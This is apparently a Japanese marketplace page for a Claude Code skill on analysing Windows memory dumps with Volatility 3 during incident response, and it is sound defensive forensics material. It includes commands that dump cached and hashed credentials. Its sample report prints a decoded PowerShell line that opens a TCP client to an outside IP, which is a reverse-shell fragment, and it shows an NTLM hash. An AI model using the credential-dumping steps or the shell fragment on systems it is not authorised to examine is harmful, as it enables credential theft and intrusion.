mcpField
A
analyzing-memory-dumps-with-volatility

analyzing-memory-dumps-with-volatility

github.com/mukul975セキュリティ35.2k355 回インストール8 週間前に更新
リポジトリ

analyzing-memory-dumps-with-volatility について

Volatility 3でメモリダンプを調べる、インシデント対応とマルウェアフォレンジック向けのスキルです。プロセス、コードインジェクション、ネットワーク接続、認証情報、タイムラインの分析を扱い、ディスクイメージ調査は対象外です。

主な機能

  1. 01ダンプのOSとシンボルの特定
  2. 02プロセスと隠しエントリーの確認
  3. 03コードインジェクションの検出
  4. 04ネットワーク接続の確認
  5. 05メモリアーティファクトと認証情報の抽出
  6. 06YARAスキャンとタイムライン作成

活用シーン

  1. 01アラート後のファイルレスマルウェア調査
  2. 02プロセスインジェクションやルートキットの確認
  3. 03メモリから認証情報や設定を復元

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatility

インストール後、Claude Code で/analyzing-memory-dumps-with-volatilityを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

Volatility によるメモリダンプの分析

使用する場面

  • 侵害されたシステムの RAM が取得され、マルウェアの痕跡をフォレンジック分析する必要がある場合
  • ディスク上に永続的な痕跡を残さず、メモリ内にのみ存在するファイルレスマルウェアを検出する場合
  • プロセスメモリから暗号化キー、パスワード、または復号された設定を抽出する場合
  • 侵害されたシステムで、プロセスインジェクション、DLL インジェクション、またはプロセスホロウイングを特定する場合
  • 標準的なディスクベースのフォレンジックツールでは検出できないルートキットの活動を分析する場合

ディスクイメージの分析には使用しないでください。ディスクフォレンジックには Autopsy、FTK、または Sleuth Kit を使用してください。

前提条件

  • Volatility 3 がインストールされていること(pip install volatility3)。対象 OS 用のシンボルテーブルも必要です
  • 対象システムから取得したメモリダンプファイル(WinPmem、LiME、または DumpIt を使用)
  • 正しいプロファイル/シンボルを選択するための、取得元 OS のバージョンに関する知識
  • 十分なディスク容量(メモリダンプのサイズは 4~64 GB になることがあります)
  • メモリ内の既知のマルウェアシグネチャをスキャンするための YARA ルール
  • メモリ領域から読み取り可能な文字列を抽出するための Strings ユーティリティ

ワークフロー

ステップ 1:メモリダンプのプロファイルを特定する

メモリダンプからオペレーティングシステムとバージョンを特定します。

# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
ステップ 2:実行中のプロセスを列挙する

すべてのプロセスを一覧表示し、疑わしい項目を特定します。

# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
ステップ 3:悪意のあるコードインジェクションを検出する

インジェクションされたコードとプロセスホロウイングをスキャンします。

# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules
ステップ 4:ネットワーク接続を分析する

アクティブなネットワーク接続とクローズされたネットワーク接続を抽出します。

# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
ステップ 5:痕跡と認証情報を抽出する

メモリから機密データを復元します。

# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
ステップ 6:YARA ルールでメモリをスキャンする

YARA シグネチャを適用して、メモリ内の既知のマルウェアを検出します。

# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
ステップ 7:タイムラインとレポートを作成する

分析のタイムラインを作成し、調査結果をまとめます。

# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

主要な概念

用語定義
メモリフォレンジック揮発性メモリ(RAM)の内容を分析し、実行中のプロセス、ネットワーク接続、ディスク上には存在しない可能性があるメモリ内の痕跡を特定すること
プロセスホロウイング正規のプロセスを一時停止状態で作成し、そのメモリを悪意のあるコードに置き換えた後、実行を再開するマルウェアの手法
Malfind実行権限を持つメモリ領域と、イメージではない VAD 内の PE ヘッダーを特定して、インジェクションされたコードを検出する Volatility プラグイン
VAD(仮想アドレス記述子)プロセスに割り当てられたメモリ領域を追跡する Windows カーネルの構造体。VAD の異常はインジェクションまたはホロウイングを示します
EPROCESSプロセスを表す Windows カーネルの構造体。ルートキットは EPROCESS エントリのリンクを解除し、標準ツールからプロセスを隠します
プールタグスキャンカーネルオブジェクトのプールタグをスキャンし、リンクが解除されている場合でもオブジェクト(プロセス、ファイル、接続)を見つけるメモリフォレンジックの手法
ファイルレスマルウェアディスク上にファイルを作成せず、完全にメモリ内で動作するマルウェア。メモリフォレンジックでのみ検出可能です

ツールとシステム

  • Volatility 3:プラグインアーキテクチャを備え、Windows、Linux、macOS のメモリ分析に対応するオープンソースのメモリフォレンジックフレームワーク
  • WinPmem:Windows システム向けのメモリ取得ツール。オフライン分析用に RAW メモリダンプを作成します
  • LiME(Linux Memory Extractor):Linux システムのメモリダンプを取得するための、ロード可能なカーネルモジュール
  • Rekall:独自の分析機能を備えた代替のメモリフォレンジックフレームワーク(開発は終了していますが、現在も役立ちます)
  • MemProcFS:メモリダンプをファイルシステムとしてマウントし、直感的に分析できるメモリプロセスファイルシステム

よくあるシナリオ

シナリオ:EDR アラート後のファイルレスマルウェアの検出

コンテキスト:EDR が不審な PowerShell の動作を検出しましたが、脅威アクターはディスク上の痕跡を削除しました。システムの再起動前にメモリダンプが取得されました。分析では、マルウェア、その永続化の仕組み、ラテラルムーブメントの有無を特定する必要があります。

アプローチ:

  1. windows.pstree を実行してプロセスチェーン(どのプロセスが PowerShell を起動したか)を特定します
  2. windows.malfind を実行して、実行中のプロセスに注入されたコードを検出します
  3. 不審なプロセスのメモリをダンプし、文字列を抽出して C2 URL を特定します
  4. windows.netscan を実行して、侵害されたプロセスからのネットワーク接続を特定します
  5. windows.cmdline を実行して、PowerShell が実行したコマンドを確認します
  6. ダンプしたプロセスメモリに対し、既知のマルウェアファミリーを検出する YARA ルールでスキャンします
  7. hashdump と lsadump で認証情報を抽出し、ラテラルムーブメントのリスクを評価します

注意点:

  • OS バージョンに合わないシンボルテーブルを使用する(プラグインの失敗や不正確な結果の原因になります)
  • pslist と psscan の出力を比較しない(ルートキットに隠されたプロセスを見落とします)
  • 注入された正規のプロセスを無視する(プロセス名だけでなく、malfind の結果に注目してください)
  • 分析を結論づける前にプロセスメモリ全体を抽出しない(プロセスダンプから抽出した文字列に、追加の IOC が含まれていることがあります)

出力形式

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

コメント